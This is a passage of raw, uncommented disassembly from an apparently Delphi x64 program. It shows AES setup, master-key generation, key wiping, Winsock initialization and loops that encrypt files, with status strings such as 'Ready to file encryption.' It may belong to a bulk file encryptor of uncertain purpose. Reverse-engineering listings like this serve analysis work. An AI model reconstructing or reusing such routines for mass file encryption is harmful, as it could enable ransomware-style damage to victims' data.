    0044e0b1mov ecx, 3000
    0044e0b6call Sleep
    0044e0bb
    0044e0bbloc_44e0bb:
    0044e0bbxor ecx, ecx
    0044e0bdxor edx, edx
    0044e0bflea r8, [rip-2374]
    0044e0c6mov rax, [rip+0x226b3]
    0044e0cdmovsxd r9, ebx
    0044e0d0add r9, r9
    0044e0d3add r9, r9
    0044e0d6lea r9, [rax+8*r9]
    0044e0damov [rsp+32], 0
    0044e0e2lea rax, [rbp+76]
    0044e0e6mov [rsp+40], rax
    0044e0ebcall fn_40bb20
    0044e0f0test rax, rax
    0044e0f3je 0x44e0b1
    0044e0f5mov ecx, ebx
    0044e0f7mov edx, 1000
    0044e0fccall fn_44c7b0
    0044e101
    0044e101loc_44e101:
    0044e101add ebx, 1
    0044e104sub esi, 1
    0044e107test esi, esi
    0044e109jne 0x44e098
    0044e10b
    0044e10bloc_44e10b:
    0044e10bnop
    0044e10cjmp 0x44e118
    0044e10e
    0044e10eloc_44e10e:
    0044e10emov ecx, 2000
    0044e113call Sleep
    0044e118
    0044e118loc_44e118:
    0044e118call fn_44c860
    0044e11dtest al, al
    0044e11fje 0x44e10e
    0044e121xor edi, edi
    0044e123mov rax, [rip+0x22656]
    0044e12atest rax, rax
    0044e12dje 0x44e133
    0044e12fmov rax, [rax-8]
    0044e133
    0044e133loc_44e133:
    0044e133xor ecx, ecx
    0044e135mov edx, eax
    0044e137sub edx, 1
    0044e13amov ebx, ecx
    0044e13ccmp ebx, edx
    0044e13ejg 0x44e16f
    0044e140sub edx, ecx
    0044e142add edx, 1
    0044e145
    0044e145loc_44e145:
    0044e145mov rax, [rip+0x22634]
    0044e14cmovsxd rcx, ebx
    0044e14fadd rcx, rcx
    0044e152add rcx, rcx
    0044e155mov rax, [rax+8*rcx+16]
    0044e15atest rax, rax
    0044e15dje 0x44e163
    0044e15fmov rax, [rax-8]
    0044e163
    0044e163loc_44e163:
    0044e163add edi, eax
    0044e165add ebx, 1
    0044e168sub edx, 1
    0044e16btest edx, edx
    0044e16djne 0x44e145
    0044e16f
    0044e16floc_44e16f:
    0044e16fnop
    0044e170mov rcx, [rbp+56]
    0044e174mov rdx, [rip-0x1f2d3]
    0044e17bcall fn_410600
    0044e180mov rcx, [rbp+56]
    0044e184mov rdx, [rip-0x1f2e3]
    0044e18bmov r8l, 1
    0044e191mov r9l, edi
    0044e194call fn_410430
    0044e199xor edi, edi
    0044e19bmov rax, [rip+0x225de]
    0044e1a2test rax, rax
    0044e1a5je 0x44e1ab
    0044e1a7mov rax, [rax-8]
    0044e1ab
    0044e1abloc_44e1ab:
    0044e1abxor ecx, ecx
    0044e1admov r13l, eax
    0044e1b0sub r13l, 1
    0044e1b4mov ebx, ecx
    0044e1b6cmp ebx, r13l
    0044e1b9jg 0x44e245
    0044e1bfsub r13l, ecx
    0044e1c2add r13l, 1
    0044e1c6
    0044e1c6loc_44e1c6:
    0044e1c6mov rax, [rip+0x225b3]
    0044e1cdmovsxd rcx, ebx
    0044e1d0add rcx, rcx
    0044e1d3add rcx, rcx
    0044e1d6mov rax, [rax+8*rcx+16]
    0044e1dbtest rax, rax
    0044e1deje 0x44e1e4
    0044e1e0mov rax, [rax-8]
    0044e1e4
    0044e1e4loc_44e1e4:
    0044e1e4xor ecx, ecx
    0044e1e6mov r14l, eax
    0044e1e9sub r14l, 1
    0044e1edmov esi, ecx
    0044e1efcmp esi, r14l
    0044e1f2jg 0x44e238
    0044e1f4sub r14l, ecx
    0044e1f7add r14l, 1
    0044e1fb
    0044e1fbloc_44e1fb:
    0044e1fbmov rax, [rbp+56]
    0044e1ffmov rax, [rax]
    0044e202mov ecx, edi
    0044e204lea rcx, [rax+8*rcx]
    0044e208mov rax, [rip+0x22571]
    0044e20fmovsxd rdx, ebx
    0044e212add rdx, rdx
    0044e215add rdx, rdx
    0044e218mov rax, [rax+8*rdx+16]
    0044e21dmovsxd rdx, esi
    0044e220mov rdx, [rax+8*rdx]
    0044e224call fn_40c440
    0044e229add edi, 1
    0044e22cadd esi, 1
    0044e22fsub r14l, 1
    0044e233test r14l, r14l
    0044e236jne 0x44e1fb
    0044e238
    0044e238loc_44e238:
    0044e238nop
    0044e239add ebx, 1
    0044e23csub r13l, 1
    0044e240test r13l, r13l
    0044e243jne 0x44e1c6
    0044e245
    0044e245loc_44e245:
    0044e245nop
    0044e246lea rcx, [rip+0x22533]
    0044e24dmov rdx, [rip-6924]
    0044e254call fn_410600
    0044e259nop
    0044e25alea rcx, [rbp+80]
    0044e25emov rdx, [rip-0x1f3fd]
    0044e265mov r8l, 3
    0044e26bcall fn_40ec40
    0044e270lea rcx, [rbp+104]
    0044e274call fn_40bd90
    0044e279lea rsp, [rbp+120]
    0044e27dpop rbx
    0044e27epop rsi
    0044e27fpop rdi
    0044e280pop r13
    0044e282pop r14
    0044e284pop rbp
    0044e285ret
    0044dd70
    0044e286
    0044e286 48 90 48 8d 04 05 00 00 00 00 H.H.......
    0044e290
    0044e290fn_44e290:
    0044e290push rbp
    0044e291push rbx
    0044e292sub rsp, 40
    0044e296mov rbp, rsp
    0044e299mov rbx, rdx
    0044e29clea rcx, [rbx+80]
    0044e2a0mov rdx, [rip-0x1f43f]
    0044e2a7mov r8l, 3
    0044e2adcall fn_40ec40
    0044e2b2lea rcx, [rbx+104]
    0044e2b6call fn_40bd90
    0044e2bblea rsp, [rbp+40]
    0044e2bfpop rbx
    0044e2c0pop rbp
    0044e2c1ret
    0044e290
    0044e2c2
    0044e2c2 // align 0x10
    0044e2d0
    0044e2d0fn_44e2d0:
    0044e2d0sub rsp, 40
    0044e2d4mov cx, 257
    0044e2d8mov rax, [rip+0x15ce1]
    0044e2dflea rdx, [rax+328]
    0044e2e6call WSAStartup
    0044e2ebtest eax, eax
    0044e2edje 0x44e2fd
    0044e2efmov rax, [rip+0x15cca]
    0044e2f6mov [rax+300], 1
    0044e2fd
    0044e2fdloc_44e2fd:
    0044e2fdadd rsp, 40
    0044e301ret
    0044e2d0
    0044e302
    0044e302 // align 0x10
    0044e310
    0044e310Unit54.finalization:
    0044e310push rbp
    0044e311sub rsp, 32
    0044e315mov rbp, rsp
    0044e318nop
    0044e319add [rip+0x22468], 1
    0044e320cmp [rip+0x22461], 0
    0044e327jne 0x44e33d
    0044e329lea rcx, [rip+0x22450]
    0044e330mov rdx, [rip-7151]
    0044e337call fn_410600
    0044e33cnop
    0044e33d
    0044e33dloc_44e33d:
    0044e33dlea rsp, [rbp+32]
    0044e341pop rbp
    0044e342ret
    0044e310
    0044e343
    0044e343 48 8d 44 20 00 48 8d 04 05 00 00 00 00 H.D .H.......
    0044e350
    0044e350fn_44e350:
    0044e350push rbp
    0044e351mov rbp, rsp
    0044e354mov rsp, rbp
    0044e357pop rbp
    0044e358ret
    0044e350
    0044e359
    0044e359 // align 0x10
    0044e360
    0044e360Unit54.initialization:
    0044e360sub [rip+0x22421], 1
    0044e367cmp [rip+0x2241a], -1
    0044e36eret
    0044e360
    0044e36f
    0044e36f // align 0x10
    0044e370
    0044e370fn_44e370:
    0044e370push rbp
    0044e371push rbx
    0044e372sub rsp, 56
    0044e376mov rbp, rsp
    0044e379mov [rbp+40], rcx
    0044e37dmov [rbp+88], rdx
    0044e381lea rcx, [rbp+88]
    0044e385call fn_40bf00
    0044e38anop
    0044e38bmov rcx, [rbp+40]
    0044e38fcall fn_40bd90
    0044e394mov rbx, [rbp+88]
    0044e398lea rcx, [rip+205]
    0044e39fmov rdx, rbx
    0044e3a2mov r8l, 1
    0044e3a8call fn_40de90
    0044e3adcmp eax, 1
    0044e3b0jne 0x44e42f
    0044e3b2xor eax, eax
    0044e3b4test rbx, rbx
    0044e3b7je 0x44e3bf
    0044e3b9mov eax, [rbx-4]
    0044e3bcshr eax, 1
    0044e3bf
    0044e3bfloc_44e3bf:
    0044e3bflea rcx, [rbp+88]
    0044e3c3mov rdx, [rbp+88]
    0044e3c7mov r8l, 3
    0044e3cdmov r9l, eax
    0044e3d0call fn_40d650
    0044e3d5mov rbx, [rbp+88]
    0044e3d9lea rcx, [rip+152]
    0044e3e0mov rdx, rbx
    0044e3e3mov r8l, 1
    0044e3e9call fn_40de90
    0044e3eetest eax, eax
    0044e3f0je 0x44e421
    0044e3f2lea rcx, [rip+127]
    0044e3f9mov rdx, rbx
    0044e3fcmov r8l, 1
    0044e402call fn_40de90
    0044e407lea rcx, [rbp+88]
    0044e40bmov rdx, [rbp+88]
    0044e40fmov r8l, 1
    0044e415mov r9l, eax
    0044e418sub r9l, 1
    0044e41ccall fn_40d650
    0044e421
    0044e421loc_44e421:
    0044e421mov rcx, [rbp+40]
    0044e425mov rdx, [rbp+88]
    0044e429call fn_40c440
    0044e42enop
    0044e42f
    0044e42floc_44e42f:
    0044e42flea rcx, [rbp+88]
    0044e433call fn_40bd90
    0044e438mov rax, [rbp+40]
    0044e43clea rsp, [rbp+56]
    0044e440pop rbx
    0044e441pop rbp
    0044e442ret
    0044e370
    0044e443
    0044e443 48 8d 44 20 00 48 8d 04 05 00 00 00 00 H.D .H.......
    0044e450
    0044e450fn_44e450:
    0044e450push rbp
    0044e451sub rsp, 32
    0044e455mov rbp, rsp
    0044e458lea rcx, [rdx+88]
    0044e45ccall fn_40bd90
    0044e461lea rsp, [rbp+32]
    0044e465pop rbp
    0044e466ret
    0044e450
    0044e467
    0044e467 00 04 00 00 00 5c 00 5c 00 .....\.\.
    0044e470 00 00 00 00 02 00 00 00 5c 00 00 00 cc cc cc cc ........\.......
    0044e480
    0044e480fn_44e480:
    0044e480push rbp
    0044e481push rdi
    0044e482push rsi
    0044e483push rbx
    0044e484sub rsp, 168
    0044e48bmov rbp, rsp
    0044e48emov [rbp+88], 0
    0044e496mov [rbp+152], 0
    0044e4a1mov [rbp+144], 0
    0044e4acmov [rbp+136], 0
    0044e4b7mov [rbp+128], 0
    0044e4c2mov [rbp+120], 0
    0044e4camov [rbp+112], 0
    0044e4d2nop
    0044e4d3mov rcx, [rip-0x1999a]
    0044e4damov dl, 1
    0044e4dccall TAESData.Create
    0044e4e1mov [rbp+104], rax
    0044e4e5lea rcx, [rbp+120]
    0044e4e9mov rdx, [rip-0x1f6d0]
    0044e4f0call fn_410600
    0044e4f5lea rcx, [rbp+120]
    0044e4f9mov rdx, [rip-0x1f6e0]
    0044e500mov r8l, 1
    0044e506mov r9l, 0x100000
    0044e50ccall fn_410430
    0044e511lea rcx, [rbp+112]
    0044e515mov rdx, [rip-0x1f6fc]
    0044e51ccall fn_410600
    0044e521lea rcx, [rbp+112]
    0044e525mov rdx, [rip-0x1f70c]
    0044e52cmov r8l, 1
    0044e532mov r9l, 0x100000
    0044e538call fn_410430
    0044e53dlea rcx, [rbp+152]
    0044e544call fn_442e50
    0044e549lea rcx, [rbp+152]
    0044e550lea rdx, [rbp+144]
    0044e557call fn_442cb0
    0044e55clea rcx, [rbp+152]
    0044e563lea rdx, [rbp+144]
    0044e56alea r8, [rbp+136]
    0044e571call fn_442930
    0044e576lea rcx, [rbp+128]
    0044e57dcall fn_40bd90
    0044e582mov rax, [rip+0x22207]
    0044e589test rax, rax
    0044e58cje 0x44e592
    0044e58emov rax, [rax-8]
    0044e592
    0044e592loc_44e592:
    0044e592xor ecx, ecx
    0044e594mov edi, eax
    0044e596sub edi, 1
    0044e599mov ebx, ecx
    0044e59bcmp ebx, edi
    0044e59djg 0x44e674
    0044e5a3sub edi, ecx
    0044e5a5add edi, 1
    0044e5a8
    0044e5a8loc_44e5a8:
    0044e5a8movsxd rsi, ebx
    0044e5ablea rcx, [rbp+88]
    0044e5afmov rax, [rip+0x221da]
    0044e5b6mov rdx, [rax+8*rsi]
    0044e5bacall fn_44e370
    0044e5bfmov rcx, [rbp+128]
    0044e5c6mov rdx, [rbp+88]
    0044e5cacall fn_40d640
    0044e5cftest eax, eax
    0044e5d1je 0x44e623
    0044e5d3lea rcx, [rbp+152]
    0044e5dacall fn_442e50
    0044e5dflea rcx, [rbp+152]
    0044e5e6lea rdx, [rbp+144]
    0044e5edcall fn_442cb0
    0044e5f2lea rcx, [rbp+152]
    0044e5f9lea rdx, [rbp+144]
    0044e600lea r8, [rbp+136]
    0044e607call fn_442930
    0044e60clea rcx, [rbp+128]
    0044e613mov rax, [rip+0x22176]
    0044e61amov rdx, [rax+8*rsi]
    0044e61ecall fn_44e370
    0044e623
    0044e623loc_44e623:
    0044e623mov rax, [rip+0x22166]
    0044e62amov rcx, [rax+8*rsi]
    0044e62elea rdx, [rbp+152]
    0044e635lea r8, [rbp+136]
    0044e63clea r9, [rbp+120]
    0044e640lea rax, [rbp+112]
    0044e644mov [rsp+32], rax
    0044e649lea rax, [rbp+104]
    0044e64dmov [rsp+40], rax
    0044e652mov [rsp+48], 0
    0044e657mov [rsp+56], 1
    0044e65cmov [rsp+64], 0
    0044e661call fn_449120
    0044e666add ebx, 1
    0044e669sub edi, 1
    0044e66ctest edi, edi
    0044e66ejne 0x44e5a8
    0044e674
    0044e674loc_44e674:
    0044e674nop
    0044e675mov rcx, [rbp+104]
    0044e679call TObject.Free
    0044e67elea rcx, [rbp+120]
    0044e682mov rdx, [rip-0x1f869]
    0044e689call fn_410600
    0044e68elea rcx, [rbp+112]
    0044e692mov rdx, [rip-0x1f879]
    0044e699call fn_410600
    0044e69emov rcx, [rbp+152]
    0044e6a5mov edx, 32
    0044e6aaxor r8, r8
    0044e6adcall fn_4069b0
    0044e6b2mov rax, [rip+0x15907]
    0044e6b9mov [rax+316], 1
    0044e6c0nop
    0044e6c1lea rcx, [rbp+88]
    0044e6c5call fn_40bd90
    0044e6calea rcx, [rbp+112]
    0044e6cemov rdx, [rip-0x1f8b5]
    0044e6d5mov r8l, 2
    0044e6dbcall fn_40ec40
    0044e6e0lea rcx, [rbp+128]
    0044e6e7call fn_40bd90
    0044e6eclea rcx, [rbp+136]
    0044e6f3mov rdx, [rip-0x1f8da]
    0044e6famov r8l, 3
    0044e700call fn_40ec40
    0044e705lea rsp, [rbp+168]
    0044e70cpop rbx
    0044e70dpop rsi
    0044e70epop rdi
    0044e70fpop rbp
    0044e710ret
    0044e480
    0044e711
    0044e711 48 8d 80 00 00 00 00 48 8d 04 05 00 00 00 00 H......H.......
    0044e720
    0044e720fn_44e720:
    0044e720push rbp
    0044e721push rbx
    0044e722sub rsp, 40
    0044e726mov rbp, rsp
    0044e729mov rbx, rdx
    0044e72clea rcx, [rbx+88]
    0044e730call fn_40bd90
    0044e735lea rcx, [rbx+112]
    0044e739mov rdx, [rip-0x1f920]
    0044e740mov r8l, 2
    0044e746call fn_40ec40
    0044e74blea rcx, [rbx+128]
    0044e752call fn_40bd90
    0044e757lea rcx, [rbx+136]
    0044e75emov rdx, [rip-0x1f945]
    0044e765mov r8l, 3
    0044e76bcall fn_40ec40
    0044e770lea rsp, [rbp+40]
    0044e774pop rbx
    0044e775pop rbp
    0044e776ret
    0044e720
    0044e777
    0044e777 // align 0x10
    0044e780
    0044e780fn_44e780:
    0044e780push rbp
    0044e781push rsi
    0044e782push rbx
    0044e783sub rsp, 96
    0044e787mov rbp, rsp
    0044e78amov [rbp+88], 0
    0044e792mov [rbp+80], 0
    0044e79amov [rbp+72], 0
    0044e7a2nop
    0044e7a3mov rcx, [rip-0x19c6a]
    0044e7aamov dl, 1
    0044e7accall TAESData.Create
    0044e7b1mov [rbp+64], rax
    0044e7b5lea rcx, [rbp+80]
    0044e7b9call fn_442e50
    0044e7belea rcx, [rbp+80]
    0044e7c2lea rdx, [rbp+72]
    0044e7c6call fn_442cb0
    0044e7cblea rcx, [rbp+80]
    0044e7cflea rdx, [rbp+72]
    0044e7d3lea r8, [rbp+88]
    0044e7d7call fn_441e90
    0044e7dcmov rax, [rip+0x21fad]
    0044e7e3test rax, rax
    0044e7e6je 0x44e7ec
    0044e7e8mov rax, [rax-8]
    0044e7ec
    0044e7ecloc_44e7ec:
    0044e7ecxor ecx, ecx
    0044e7eemov esi, eax
    0044e7f0sub esi, 1
    0044e7f3mov ebx, ecx
    0044e7f5cmp ebx, esi
    0044e7f7jg 0x44e836
    0044e7f9sub esi, ecx
    0044e7fbadd esi, 1
    0044e7fe
    0044e7feloc_44e7fe:
    0044e7femov rax, [rip+0x21f8b]
    0044e805movsxd rcx, ebx
    0044e808mov rcx, [rax+8*rcx]
    0044e80clea rdx, [rbp+80]
    0044e810lea r8, [rbp+88]
    0044e814lea r9, [rbp+64]
    0044e818mov [rsp+32], 0
    0044e81dmov [rsp+40], 3
    0044e822mov [rsp+48], 0
    0044e827call fn_44afd0
    0044e82cadd ebx, 1
    0044e82fsub esi, 1
    0044e832test esi, esi
    0044e834jne 0x44e7fe
    0044e836
    0044e836loc_44e836:
    0044e836nop
    0044e837mov rcx, [rbp+64]
    0044e83bcall TObject.Free
    0044e840mov rcx, [rbp+80]
    0044e844mov edx, 32
    0044e849xor r8, r8
    0044e84ccall fn_4069b0
    0044e851mov rax, [rip+0x15998]
    0044e858mov rcx, [rax]
    0044e85bcall TSimpleCriticalSection.Enter
    0044e860mov rax, [rip+0x15989]
    0044e867lea rcx, [rax+16]
    0044e86bcall fn_40bd90
    0044e870mov rax, [rip+0x15979]
    0044e877mov rcx, [rax]
    0044e87acall TSimpleCriticalSection.Leave
    0044e87fmov rax, [rip+0x1573a]
    0044e886mov [rax+318], 1
    0044e88dnop
    0044e88elea rcx, [rbp+72]
    0044e892mov rdx, [rip-0x1fa79]
    0044e899mov r8l, 3
    0044e89fcall fn_40ec40
    0044e8a4lea rsp, [rbp+96]
    0044e8a8pop rbx
    0044e8a9pop rsi
    0044e8aapop rbp
    0044e8abret
    0044e780
    0044e8ac
    0044e8ac 48 8d 40 00 H.@.
    0044e8b0
    0044e8b0fn_44e8b0:
    0044e8b0push rbp
    0044e8b1sub rsp, 32
    0044e8b5mov rbp, rsp
    0044e8b8lea rcx, [rdx+72]
    0044e8bcmov rdx, [rip-0x1faa3]
    0044e8c3mov r8l, 3
    0044e8c9call fn_40ec40
    0044e8celea rsp, [rbp+32]
    0044e8d2pop rbp
    0044e8d3ret
    0044e8b0
    0044e8d4
    0044e8d4 // align 0x10
    0044e8e0
    0044e8e0fn_44e8e0:
    0044e8e0sub rsp, 40
    0044e8e4lea rcx, [rip+0x21ea5]
    0044e8ebcall fn_44dd70
    0044e8f0mov rax, [rip+0x156c9]
    0044e8f7mov [rax+319], 1
    0044e8feadd rsp, 40
    0044e902ret
    0044e8e0
    0044e903
    0044e903 // align 0x10
    0044e910
    0044e910Unit55.finalization:
    0044e910push rbp
    0044e911sub rsp, 32
    0044e915mov rbp, rsp
    0044e918nop
    0044e919add [rip+0x21e78], 1
    0044e920cmp [rip+0x21e71], 0
    0044e927jne 0x44e93d
    0044e929lea rcx, [rip+0x21e60]
    0044e930mov rdx, [rip-0x1fa8f]
    0044e937call fn_410600
    0044e93cnop
    0044e93d
    0044e93dloc_44e93d:
    0044e93dlea rsp, [rbp+32]
    0044e941pop rbp
    0044e942ret
    0044e910
    0044e943
    0044e943 48 8d 44 20 00 48 8d 04 05 00 00 00 00 H.D .H.......
    0044e950
    0044e950fn_44e950:
    0044e950push rbp
    0044e951mov rbp, rsp
    0044e954mov rsp, rbp
    0044e957pop rbp
    0044e958ret
    0044e950
    0044e959
    0044e959 // align 0x10
    0044e960
    0044e960Unit55.initialization:
    0044e960sub [rip+0x21e31], 1
    0044e967cmp [rip+0x21e2a], -1
    0044e96eret
    0044e960
    0044e96f
    0044e96f // align 0x10
    0044e970
    0044e970fn_44e970:
    0044e970push rbp
    0044e971sub rsp, 96
    0044e975mov rbp, rsp
    0044e978mov [rbp+88], 0
    0044e980mov [rbp+80], 0
    0044e988mov [rbp+72], 0
    0044e990mov [rbp+64], 0
    0044e998mov [rbp+56], 0
    0044e9a0mov [rbp+112], rcx
    0044e9a4lea rcx, [rbp+112]
    0044e9a8call fn_40bf00
    0044e9adnop
    0044e9aemov rcx, [rip-0x19e75]
    0044e9b5mov dl, 1
    0044e9b7call TAESData.Create
    0044e9bcmov [rbp+48], rax
    0044e9c0lea rcx, [rbp+64]
    0044e9c4mov rdx, [rip-0x1fbab]
    0044e9cbcall fn_410600
    0044e9d0lea rcx, [rbp+64]
    0044e9d4mov rdx, [rip-0x1fbbb]
    0044e9dbmov r8l, 1
    0044e9e1mov r9l, 0x100000
    0044e9e7call fn_410430
    0044e9eclea rcx, [rbp+56]
    0044e9f0mov rdx, [rip-0x1fbd7]
    0044e9f7call fn_410600
    0044e9fclea rcx, [rbp+56]
    0044ea00mov rdx, [rip-0x1fbe7]
    0044ea07mov r8l, 1
    0044ea0dmov r9l, 0x100000
    0044ea13call fn_410430
    0044ea18mov rax, [rip+0x155a1]
    0044ea1fcmp [rax+307], 0
    0044ea26jne 0x44eaad
    0044ea2cmov rax, [rip+0x1558d]
    0044ea33cmp [rax+308], 0
    0044ea3aje 0x44ea4a
    0044ea3clea rcx, [rip+381]
    0044ea43mov dl, 1
    0044ea45call fn_439060
    0044ea4a
    0044ea4aloc_44ea4a:
    0044ea4alea rcx, [rbp+88]
    0044ea4ecall fn_442e50
    0044ea53mov rax, [rip+0x15566]
    0044ea5acmp [rax+308], 0
    0044ea61je 0x44ea71
    0044ea63lea rcx, [rip+398]
    0044ea6amov dl, 1
    0044ea6ccall fn_439060
    0044ea71
    0044ea71loc_44ea71:
    0044ea71lea rcx, [rbp+88]
    0044ea75lea rdx, [rbp+80]
    0044ea79call fn_442cb0
    0044ea7emov rax, [rip+0x1553b]
    0044ea85cmp [rax+308], 0
    0044ea8cje 0x44ea9c
    0044ea8elea rcx, [rip+415]
    0044ea95mov dl, 1
    0044ea97call fn_439060
    0044ea9c
    0044ea9cloc_44ea9c:
    0044ea9clea rcx, [rbp+88]
    0044eaa0lea rdx, [rbp+80]
    0044eaa4lea r8, [rbp+72]
    0044eaa8call fn_442930
    0044eaad
    0044eaadloc_44eaad:
    0044eaadmov rax, [rip+0x1550c]
    0044eab4cmp [rax+308], 0
    0044eabbje 0x44ead2
    0044eabdlea rcx, [rip+404]
    0044eac4mov dl, 1
    0044eac6call fn_439060
    0044eacbxor ecx, ecx
    0044eacdcall fn_4392a0
    0044ead2
    0044ead2loc_44ead2:
    0044ead2mov rcx, [rbp+112]
    0044ead6lea rdx, [rbp+88]
    0044eadalea r8, [rbp+72]
    0044eadelea r9, [rbp+64]
    0044eae2lea rax, [rbp+56]
    0044eae6mov [rsp+32], rax
    0044eaeblea rax, [rbp+48]
    0044eaefmov [rsp+40], rax
    0044eaf4call fn_448ab0
    0044eaf9mov rcx, [rbp+48]
    0044eafdcall TObject.Free
    0044eb02lea rcx, [rbp+64]
    0044eb06mov rdx, [rip-0x1fced]
    0044eb0dcall fn_410600
    0044eb12lea rcx, [rbp+56]
    0044eb16mov rdx, [rip-0x1fcfd]
    0044eb1dcall fn_410600
    0044eb22mov rcx, [rbp+88]
    0044eb26mov rax, rcx
    0044eb29test rax, rax
    0044eb2cje 0x44eb32
    0044eb2emov rax, [rax-8]
    0044eb32
    0044eb32loc_44eb32:
    0044eb32test rax, rax
    0044eb35je 0x44eb52
    0044eb37mov rax, rcx
    0044eb3atest rax, rax
    0044eb3dje 0x44eb43
    0044eb3fmov rax, [rax-8]
    0044eb43
    0044eb43loc_44eb43:
    0044eb43mov rcx, [rbp+88]
    0044eb47mov rdx, rax
    0044eb4axor r8, r8
    0044eb4dcall fn_4069b0
    0044eb52
    0044eb52loc_44eb52:
    0044eb52nop
    0044eb53lea rcx, [rbp+56]
    0044eb57mov rdx, [rip-0x1fd3e]
    0044eb5emov r8l, 5
    0044eb64call fn_40ec40
    0044eb69lea rcx, [rbp+112]
    0044eb6dcall fn_40bd90
    0044eb72lea rsp, [rbp+96]
    0044eb76pop rbp
    0044eb77ret
    0044e970
    0044eb78
    0044eb78 48 8d 04 05 00 00 00 00 H.......
    0044eb80
    0044eb80fn_44eb80:
    0044eb80push rbp
    0044eb81push rbx
    0044eb82sub rsp, 40
    0044eb86mov rbp, rsp
    0044eb89mov rbx, rdx
    0044eb8clea rcx, [rbx+56]
    0044eb90mov rdx, [rip-0x1fd77]
    0044eb97mov r8l, 5
    0044eb9dcall fn_40ec40
    0044eba2lea rcx, [rbx+112]
    0044eba6call fn_40bd90
    0044ebablea rsp, [rbp+40]
    0044ebafpop rbx
    0044ebb0pop rbp
    0044ebb1ret
    0044eb80
    0044ebb2
    0044ebb2 00 00 b0 04 02 00 ff ff ff ff 14 00 00 00 ..............
    0044ebc0 47 00 65 00 6e 00 65 00 72 00 61 00 74 00 65 00 G.e.n.e.r.a.t.e.
    0044ebd0 20 00 6d 00 61 00 73 00 74 00 65 00 72 00 20 00 .m.a.s.t.e.r. .
    0044ebe0 6b 00 65 00 79 00 2e 00 00 00 00 00 b0 04 02 00 k.e.y...........
    0044ebf0 ff ff ff ff 16 00 00 00 45 00 6e 00 63 00 72 00 ........E.n.c.r.
    0044ec00 79 00 70 00 74 00 20 00 69 00 6e 00 74 00 65 00 y.p.t. .i.n.t.e.
    0044ec10 72 00 6e 00 61 00 6c 00 20 00 64 00 61 00 74 00 r.n.a.l. .d.a.t.
    0044ec20 61 00 2e 00 00 00 00 00 b0 04 02 00 ff ff ff ff a...............
    0044ec30 0a 00 00 00 49 00 6e 00 69 00 74 00 20 00 74 00 ....I.n.i.t. .t.
    0044ec40 61 00 69 00 6c 00 2e 00 00 00 00 00 b0 04 02 00 a.i.l...........
    0044ec50 ff ff ff ff 19 00 00 00 52 00 65 00 61 00 64 00 ........R.e.a.d.
    0044ec60 79 00 20 00 74 00 6f 00 20 00 66 00 69 00 6c 00 y. .t.o. .f.i.l.
    0044ec70 65 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 e. .e.n.c.r.y.p.
    0044ec80 74 00 69 00 6f 00 6e 00 2e 00 00 00 cc cc cc cc t.i.o.n.........
    0044ec90
    0044ec90fn_44ec90:
    0044ec90push rbp
    0044ec91add rsp, -128
    0044ec95mov rbp, rsp
    0044ec98mov [rbp+120], 0
    0044eca0mov [rbp+112], 0
    0044eca8mov [rbp+104], 0
    0044ecb0mov [rbp+96], 0
    0044ecb8mov [rbp+88], 0
    0044ecc0mov [rbp+144], rcx
    0044ecc7lea rcx, [rbp+144]
    0044eccecall fn_40bf00
    0044ecd3nop
    0044ecd4mov rcx, [rip-0x1a19b]
    0044ecdbmov dl, 1
    0044ecddcall TAESData.Create
    0044ece2mov [rbp+80], rax
    0044ece6lea rcx, [rbp+96]
    0044eceamov rdx, [rip-0x1fed1]
    0044ecf1call fn_410600
    0044ecf6lea rcx, [rbp+96]
    0044ecfamov rdx, [rip-0x1fee1]
    0044ed01mov r8l, 1
    0044ed07mov r9l, 0x100000
    0044ed0dcall fn_410430
    0044ed12lea rcx, [rbp+88]
    0044ed16mov rdx, [rip-0x1fefd]
    0044ed1dcall fn_410600
    0044ed22lea rcx, [rbp+88]
    0044ed26mov rdx, [rip-0x1ff0d]
    0044ed2dmov r8l, 1
    0044ed33mov r9l, 0x100000
    0044ed39call fn_410430
    0044ed3emov rax, [rip+0x1527b]
    0044ed45cmp [rax+307], 0
    0044ed4cjne 0x44edd3
    0044ed52mov rax, [rip+0x15267]
    0044ed59cmp [rax+308], 0
    0044ed60je 0x44ed70
    0044ed62lea rcx, [rip+411]
    0044ed69mov dl, 1
    0044ed6bcall fn_439060
    0044ed70
    0044ed70loc_44ed70:
    0044ed70lea rcx, [rbp+120]
    0044ed74call fn_442e50
    0044ed79mov rax, [rip+0x15240]
    0044ed80cmp [rax+308], 0
    0044ed87je 0x44ed97
    0044ed89lea rcx, [rip+428]
    0044ed90mov dl, 1
    0044ed92call fn_439060
    0044ed97
    0044ed97loc_44ed97:
    0044ed97lea rcx, [rbp+120]
    0044ed9blea rdx, [rbp+112]
    0044ed9fcall fn_442cb0
    0044eda4mov rax, [rip+0x15215]
    0044edabcmp [rax+308], 0
    0044edb2je 0x44edc2
    0044edb4lea rcx, [rip+445]
    0044edbbmov dl, 1
    0044edbdcall fn_439060
    0044edc2
    0044edc2loc_44edc2:
    0044edc2lea rcx, [rbp+120]
    0044edc6lea rdx, [rbp+112]
    0044edcalea r8, [rbp+104]
    0044edcecall fn_442930
    0044edd3
    0044edd3loc_44edd3:
    0044edd3mov rax, [rip+0x151e6]
    0044eddacmp [rax+308], 0
    0044ede1je 0x44edf8
    0044ede3lea rcx, [rip+434]
    0044edeamov dl, 1
    0044edeccall fn_439060
    0044edf1xor ecx, ecx
    0044edf3call fn_4392a0
    0044edf8
    0044edf8loc_44edf8:
    0044edf8mov rcx, [rbp+144]
    0044edfflea rdx, [rbp+120]
    0044ee03lea r8, [rbp+104]
    0044ee07lea r9, [rbp+96]
    0044ee0blea rax, [rbp+88]
    0044ee0fmov [rsp+32], rax
    0044ee14lea rax, [rbp+80]
    0044ee18mov [rsp+40], rax
    0044ee1dmov [rsp+48], 0
    0044ee22mov [rsp+56], 0
    0044ee27mov [rsp+64], 1
    0044ee2ccall fn_449120
    0044ee31mov rcx, [rbp+80]
    0044ee35call TObject.Free
    0044ee3alea rcx, [rbp+96]
    0044ee3emov rdx, [rip-0x20025]
    0044ee45call fn_410600
    0044ee4alea rcx, [rbp+88]
    0044ee4emov rdx, [rip-0x20035]
    0044ee55call fn_410600
    0044ee5amov rcx, [rbp+120]
    0044ee5emov rax, rcx
    0044ee61test rax, rax
    0044ee64je 0x44ee6a
    0044ee66mov rax, [rax-8]
    0044ee6a
    0044ee6aloc_44ee6a:
    0044ee6atest rax, rax
    0044ee6dje 0x44ee8a
    0044ee6fmov rax, rcx
    0044ee72test rax, rax
    0044ee75je 0x44ee7b
    0044ee77mov rax, [rax-8]
    0044ee7b
    0044ee7bloc_44ee7b:
    0044ee7bmov rcx, [rbp+120]
    0044ee7fmov rdx, rax
